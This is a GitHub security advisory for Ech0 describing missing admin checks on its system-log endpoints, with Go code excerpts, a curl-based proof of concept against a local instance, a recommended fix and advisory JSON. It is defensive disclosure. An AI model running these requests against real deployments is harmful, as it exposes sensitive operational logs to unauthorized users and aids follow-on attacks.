GHSA-CP79-9MWR-WR49
Vulnerability from github – Published: 2026-04-10 19:40 – Updated: 2026-04-10 19:40
VLAI?
Summary
Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs
Details
Summary
Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.
Impact
Any valid user session can access GET /api/system/logs and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.
Details
The issue is caused by an authorization gap between route registration, handler logic, and the service layer.
internal/router/dashboard.go registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
// Auth
appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}
internal/handler/dashboard/dashboard.go returns log data directly and the SSE/WS handlers only check whether jwtUtil.ParseToken(token) succeeds:
func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{
Tail: tail,
Level: ctx.Query("level"),
Keyword: ctx.Query("keyword"),
})
if err != nil {
return res.Response{Err: err}
}
return res.Response{
Data: logs,
Msg: "获取系统日志成功",
}
})
}
internal/service/dashboard/dashboard.go exposes the log backend without adding a compensating admin check:
func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {
tail := query.Tail
if tail <= 0 {
tail = 200
}
return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}
Affected endpoints:
GET /api/system/logsGET /api/system/logs/stream?token=...GET /ws/system/logs?token=...
Proof of concept
1. Start the app
docker run -d \
--name ech0 \
-p 6277:6277 \
-v /opt/ech0/data:/app/data \
-e JWT_SECRET="Hello Echos" \
sn0wl1n/ech0:latest
2. Initialize an owner account and register a normal user
curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass","email":"owner@example.com"}'
curl -sS -X POST "http://127.0.0.1:6277/api/register" \
-H 'Content-Type: application/json' \
-d '{"username":"winky","password":"winkypass","email":"winky@example.com"}'
3. Log in as the non-admin user and request the system log endpoint
winky_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"winky","password":"winkypass"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
curl -sS "http://127.0.0.1:6277/api/system/logs" \
-H "Authorization: Bearer $winky_token"
Observed response: the non-admin user receives 200 OK and a JSON response containing entries from app.log
The same missing-authorization pattern also affects:
GET /api/system/logs/stream?token=<non-admin-token>GET /ws/system/logs?token=<non-admin-token>
Recommended fix
Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.
Suggested change in internal/router/dashboard.go:
import (
"github.com/lin-snow/ech0/internal/handler"
"github.com/lin-snow/ech0/internal/middleware"
authModel "github.com/lin-snow/ech0/internal/model/auth"
)
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.GetSystemLogs(),
)
appRouterGroup.AuthRouterGroup.GET(
"/system/logs/stream",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.SSESubscribeSystemLogs(),
)
appRouterGroup.WSRouterGroup.GET(
"/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.WSSubscribeSystemLogs(),
)
}
Suggested defense-in-depth change in the service layer:
func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {
if err := s.ensureAdmin(ctx); err != nil {
return nil, err
}
tail := query.Tail
if tail <= 0 {
tail = 200
}
return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}
Severity ?
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:40:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nEch0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.\n\n## Impact\n\nAny valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.\n\n## Details\n\nThe issue is caused by an authorization gap between route registration, handler logic, and the service layer.\n\n`internal/router/dashboard.go` registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:\n\n```go\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// Auth\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs\", h.DashboardHandler.GetSystemLogs())\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs/stream\", h.DashboardHandler.SSESubscribeSystemLogs())\n\tappRouterGroup.WSRouterGroup.GET(\"/system/logs\", h.DashboardHandler.WSSubscribeSystemLogs())\n}\n```\n\n`internal/handler/dashboard/dashboard.go` returns log data directly and the SSE/WS handlers only check whether `jwtUtil.ParseToken(token)` succeeds:\n\n```go\nfunc (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tlogs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{\n\t\t\tTail: tail,\n\t\t\tLevel: ctx.Query(\"level\"),\n\t\t\tKeyword: ctx.Query(\"keyword\"),\n\t\t})\n\t\tif err != nil {\n\t\t\treturn res.Response{Err: err}\n\t\t}\n\t\treturn res.Response{\n\t\t\tData: logs,\n\t\t\tMsg: \"\u83b7\u53d6\u7cfb\u7edf\u65e5\u5fd7\u6210\u529f\",\n\t\t}\n\t})\n}\n```\n\n`internal/service/dashboard/dashboard.go` exposes the log backend without adding a compensating admin check:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\ttail := query.Tail\n\tif tail \u003c= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```\n\nAffected endpoints:\n\n- `GET /api/system/logs`\n- `GET /api/system/logs/stream?token=...`\n- `GET /ws/system/logs?token=...`\n\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n --name ech0 \\\n -p 6277:6277 \\\n -v /opt/ech0/data:/app/data \\\n -e JWT_SECRET=\"Hello Echos\" \\\n sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account and register a normal user\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}\u0027\n\ncurl -sS -X POST \"http://127.0.0.1:6277/api/register\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"winky\",\"password\":\"winkypass\",\"email\":\"winky@example.com\"}\u0027\n```\n\n### 3. Log in as the non-admin user and request the system log endpoint\n\n```bash\nwinky_token=$(\n curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"winky\",\"password\":\"winkypass\"}\u0027 \\\n | sed -n \u0027s/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p\u0027\n)\n\ncurl -sS \"http://127.0.0.1:6277/api/system/logs\" \\\n -H \"Authorization: Bearer $winky_token\"\n```\n\nObserved response: the non-admin user receives 200 OK and a JSON response containing entries from `app.log`\n\n\u003cimg width=\"1073\" height=\"183\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8\" /\u003e\n\n\nThe same missing-authorization pattern also affects:\n\n- `GET /api/system/logs/stream?token=\u003cnon-admin-token\u003e`\n- `GET /ws/system/logs?token=\u003cnon-admin-token\u003e`\n\n\n## Recommended fix\n\nRequire an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.\n\nSuggested change in `internal/router/dashboard.go`:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.GetSystemLogs(),\n\t)\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs/stream\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.SSESubscribeSystemLogs(),\n\t)\n\tappRouterGroup.WSRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.WSSubscribeSystemLogs(),\n\t)\n}\n```\n\nSuggested defense-in-depth change in the service layer:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\tif err := s.ensureAdmin(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\n\ttail := query.Tail\n\tif tail \u003c= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```",
"id": "GHSA-cp79-9mwr-wr49",
"modified": "2026-04-10T19:40:02Z",
"published": "2026-04-10T19:40:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-cp79-9mwr-wr49"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
},
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.3.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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